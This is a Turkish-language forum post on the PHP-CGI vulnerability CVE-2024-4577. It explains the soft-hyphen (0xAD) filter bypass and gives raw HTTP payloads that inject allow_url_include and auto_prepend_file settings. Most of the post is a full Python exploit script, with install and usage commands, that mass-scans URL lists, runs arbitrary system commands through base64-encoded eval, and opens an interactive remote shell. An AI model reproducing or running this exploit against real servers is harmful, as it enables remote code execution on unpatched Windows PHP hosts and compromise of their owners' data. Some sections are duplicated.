CVE-2024-4577 PHP-CGI Güvenlik Açığı
Bu güvenlik açığı, Windows sunucularında shell gibi komutların çalıştırmasına izin verir.
PHP sistemlerini çalıştıran sunucular bu açıktan etkilenir.
Güvenlik açığı, PHP-CGI adlı bir programda bulunur ve PHP'nin kurulum şekli ne olursa olsun çalışır.
IIS ve XAMPP adlı web sunucuları bu açıktan etkilenir.
Bu iki sunucu türü, web uygulamalarını barındırmak için çok yaygın olarak kullanılır.Yani IIS ve XAMPP.
Bu Cve 10 üzerinden 9.8 puan almıştır
Bu Hata Nasıl Çalışır ?
Bu hata, PHP'nin CGI modunda çalışırken ortaya çıkar.
Bu durumda, web sunucusu HTTP isteklerini işleyip PHP programına gönderir.
Örneğin, gibi bir istek, php.execgi.phpfoo=bar olarak çalıştırılabilir.
Kişiler Unicode karakterlerini ASCII'ye dönüştürerek bir açık bulabilirler.
Örneğin, iki tane php.exe komutu düşünelim birisi zararlı, diğeri güvenli.
İkisi de aynı gibi görünse de, bir hex editör kullanarak farkı görebiliriz:
güvenli komut normal bir kısa çizgi (0x2D) kullanır, zararlı olan ise "yumuşak kısa çizgi" (0xAD) kullanır.
Bu karakterler benzer görünür ama işletim sistemi için farklı anlamları vardır.
Apache, normal kısa çizgiyi kaçar ama yumuşak kısa çizgiyi kaçmaz, böylece güvenliği atlayarak shell çalıştırabilirler.
Kafaların karışmaması için Yumuşak Çizgi Nedir Açıklıyalım
Normal kısa çizgi (dash) ve yumuşak kısa çizgi (soft hyphen) arasındaki fark şu şekilde çalışır:
Normal kısa çizgi: Genellikle bir kelimenin iki kısmını ayırmak için kullanılır.
Normal kısa çizgi, bilgisayar dilinde 0x2D koduyla temsil edilir.
Yumuşak kısa çizgi: Metin içinde kırılma noktası olarak kullanılır.
Görünüşte kısa çizgi gibidir ama bilgisayar dilinde 0xAD koduyla temsil edilir.
Peki bu farkı nasıl kullanır ?
Normal Kısa Çizgi: Normal kısa çizgi kullanıldığında, güvenlik duvarları ve filtreler bunu tespit edip durdurur.
Örneğin, -d gibi bir ifade güvenli kabul edilir.
Yumuşak Kısa Çizgi: Kişleryumuşak kısa çizgiyi kullanarak -d yerine %ADd gibi bir ifade gönderir.
Güvenlik sistemleri yumuşak kısa çizgiyi tespit edemeyebilir ve bu şekilde güvenlik önlemlerini atlatabilir.
Örnek bir Kod:Eğer bu istek başarılı olursa, RCE Saldırısı gerçekleştirebilir
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
CVE-2024-4577 Kodumuza Bakalım
(RCE) elde etmek için aşağıdaki komutların eklenmesi gerekiyor
<span>-d </span><span>allow_url_include=1 </span><span>-d </span><span>auto_prepend_file=php://input<br></span>
Bu komut, PHP'nin HTTP isteği gövdesinden gelen girdileri işlemesini sağlar.
Normal kısa çizgi yerine "yumuşak kısa çizgi" (0xAD) kullanılarak atlanıp atlanmadığını test edebiliriz:
Kod:
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
Bu komutlar başarılı olursa, bir phpinfo sayfası alırız ve bu da (RCE) doğrular.
Kullanım Videosu:
Etkilenen PHP Sürümleri
8.3 < 8.3.8
8.2 < 8.2.20
8.1 < 8.1.29
8.0
Bunu Test Etmek İsterseniz Github Linki Bırakıyorum.
github.com
Kurulumu
1. Kod : git clone GitHub - Chocapikk/CVE-2024-4577: PHP CGI Argument Injection vulnerability
2: Kod : cd CVE-2024-4577
3.Kod : pip install -r requirements.txt
Kullanımı :
Tek bir URL'yi Test Etmek İçin
python exploit.py --url "Example Domain"
Bu komut, belirtilen URL'yi test eder.
Bir Dosyadan Birden Fazla URL'yi Test Etmek İçin
python exploit.py --file urls.txt
Bu komut, urls.txtadlı dosyada bulunan birden fazla URL'yi test eder.
Güvenlik Açığı Olan URL'leri Kaydetmek İçin
python exploit.py --file urls.txt --output vulnerable_urls.txt
Bu komut, güvenlik açığı olan URL'leri vulnerable_urls.txt adlı dosyaya kaydeder.
Linke Tıklamaz İseniz Kodları Buraya bırakıyorum
exploit.py Kodu:
Kullanım Videosu:
Etkilenen PHP Sürümleri
8.3 < 8.3.8
8.2 < 8.2.20
8.1 < 8.1.29
8.0
Bunu Test Etmek İsterseniz Github Linki Bırakıyorum.
GitHub - Chocapikk/CVE-2024-4577: PHP CGI Argument Injection vulnerability
PHP CGI Argument Injection vulnerability. Contribute to Chocapikk/CVE-2024-4577 development by creating an account on GitHub.
Kurulumu
1. Kod : git clone GitHub - Chocapikk/CVE-2024-4577: PHP CGI Argument Injection vulnerability
2: Kod : cd CVE-2024-4577
3.Kod : pip install -r requirements.txt
Kullanımı :
Tek bir URL'yi Test Etmek İçin
python exploit.py --url "Example Domain"
Bu komut, belirtilen URL'yi test eder.
Bir Dosyadan Birden Fazla URL'yi Test Etmek İçin
python exploit.py --file urls.txt
Bu komut, urls.txtadlı dosyada bulunan birden fazla URL'yi test eder.
Güvenlik Açığı Olan URL'leri Kaydetmek İçin
python exploit.py --file urls.txt --output vulnerable_urls.txt
Bu komut, güvenlik açığı olan URL'leri vulnerable_urls.txt adlı dosyaya kaydeder.
Linke Tıklamaz İseniz Kodları Buraya bırakıyorum
exploit.py Kodu:
Python:
import re
import base64
import requests
import rich_click as click
from colorama import Fore, init
from alive_progress import alive_bar
from prompt_toolkit import PromptSession
from prompt_toolkit.formatted_text import HTML
from prompt_toolkit.history import InMemoryHistory
from concurrent.futures import ThreadPoolExecutor, as_completed
requests.packages.urllib3.disable_warnings()
init(autoreset=True)
class PHPKiller:
def __init__(self, file_path=None, url=None, output=None):
self.urls = []
self.output = output
if file_path:
self.urls = self.read_urls_from_file(file_path)
elif url:
self.urls = [url]
self.single_url_mode = url is not None
def read_urls_from_file(self, file_path):
with open(file_path, "r") as file:
return file.read().splitlines()
def custom_print(self, message: str, header: str) -> None:
header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
header_color = header_colors.get(header, "white")
formatted_message = click.style(
f"[{header}] ", fg=header_color, bold=True
) + click.style(f"{message}", bold=True, fg="white")
click.echo(formatted_message)
def send_request(self, url, cmd="whoami", verbose=True):
headers = {"Content-Type": "application/x-www-form-urlencoded"}
test = base64.b64encode(
f"echo '[S]'; system('{cmd}'); echo '[E]';".encode()
).decode()
data = f"<?php phpinfo(); echo eval(base64_decode('{test}')); die()?>"
php_settings = [
"-d cgi.force_redirect=0",
'-d disable_functions=""',
"-d allow_url_include=1",
"-d auto_prepend_file=php://input",
]
settings_str = (
" ".join(php_settings)
.replace("-", "%AD")
.replace("=", "%3D")
.replace(" ", "+")
)
payload = f"/php-cgi/php-cgi.exe?{settings_str}"
try:
response = requests.post(
f"{url.rstrip('/')}{payload}",
headers=headers,
data=data,
timeout=5,
verify=False,
)
match = re.search(r"\[S\](.*?)\[E\]", response.text, re.DOTALL)
if match:
result_value = match.group(1).strip()
if verbose:
self.custom_print(
f"The URL {url} is vulnerable, Result: {result_value}", "+"
)
return True, url, result_value
else:
return False, url, f"Fail at {url} with payload {payload}"
except requests.exceptions.RequestException as e:
return None, url, f"Error at {url} with payload {payload}: {str(e)}"
def execute_requests(self):
total_urls = len(self.urls)
success_count = 0
fail_count = 0
error_count = 0
if self.single_url_mode:
result, url, message = self.send_request(self.urls[0])
if result:
if self.output:
with open(self.output, "a") as f:
f.write(f"{url}\n")
self.interactive_shell(url)
else:
self.custom_print(message, "-")
else:
with ThreadPoolExecutor(max_workers=100) as executor, alive_bar(
total_urls, enrich_print=False
) as bar:
future_to_url = {
executor.submit(self.send_request, url): url for url in self.urls
}
for future in as_completed(future_to_url):
result, url, message = future.result()
if result:
success_count += 1
if self.output:
with open(self.output, "a") as f:
f.write(f"{url}\n")
elif result is False:
fail_count += 1
else:
error_count += 1
bar.text = (
f"{Fore.GREEN}Success: {success_count}{Fore.RESET}, "
f"{Fore.YELLOW}Fail: {fail_count}{Fore.RESET}, "
f"{Fore.RED}Error: {error_count}{Fore.RESET}"
)
bar()
def interactive_shell(self, url: str):
session = PromptSession(history=InMemoryHistory())
while True:
cmd = session.prompt(
HTML("<ansiyellow><b>WINDAUBE> </b></ansiyellow>"), default=""
).strip()
if cmd.lower() == "exit":
break
if cmd.lower() == "clear":
print("\x1b[2J\x1b[H", end="")
continue
_, _, response = self.send_request(url, cmd, verbose=False)
self.custom_print(f"Result:\n\n{response}", "*")
@click.command(
help="""
PHP CGI argument injection vulnerability affecting PHP in certain configurations on a Windows target.
A vulnerable configuration is locale dependent (such as Chinese or Japanese), such that
the Unicode best-fit conversion scheme will unexpectedly convert a soft hyphen (0xAD) into a dash (0x2D)
character. Additionally, a target web server must be configured to run PHP under CGI mode, or directly expose
the PHP binary. This issue has been fixed in PHP 8.3.8 (for the 8.3.x branch), 8.2.20 (for the 8.2.x branch),
and 8.1.29 (for the 8.1.x branch). PHP 8.0.x and below are end of life and have not received patches.
"""
)
@click.option(
"--file",
"-f",
type=click.Path(exists=True),
required=False,
help="Path to file containing URLs to test.",
)
@click.option("--url", "-u", type=str, required=False, help="Single URL to test.")
@click.option(
"--output",
"-o",
type=str,
required=False,
help="Output file to save vulnerable URLs.",
)
def main(file, url, output):
if file:
sender = PHPKiller(file_path=file, output=output)
elif url:
sender = PHPKiller(url=url, output=output)
else:
click.echo("You must provide either a file with URLs or a single URL to test.")
return
sender.execute_requests()
if __name__ == "__main__":
main()
requirements.txt Yazıları
Kod:
alive_progress==3.1.5
colorama==0.4.4
prompt_toolkit==3.0.46
Requests==2.32.3
rich_click==1.8.2
Kaynaklarım redsentry
Konu Güncellenmiştir//
Son düzenleme:
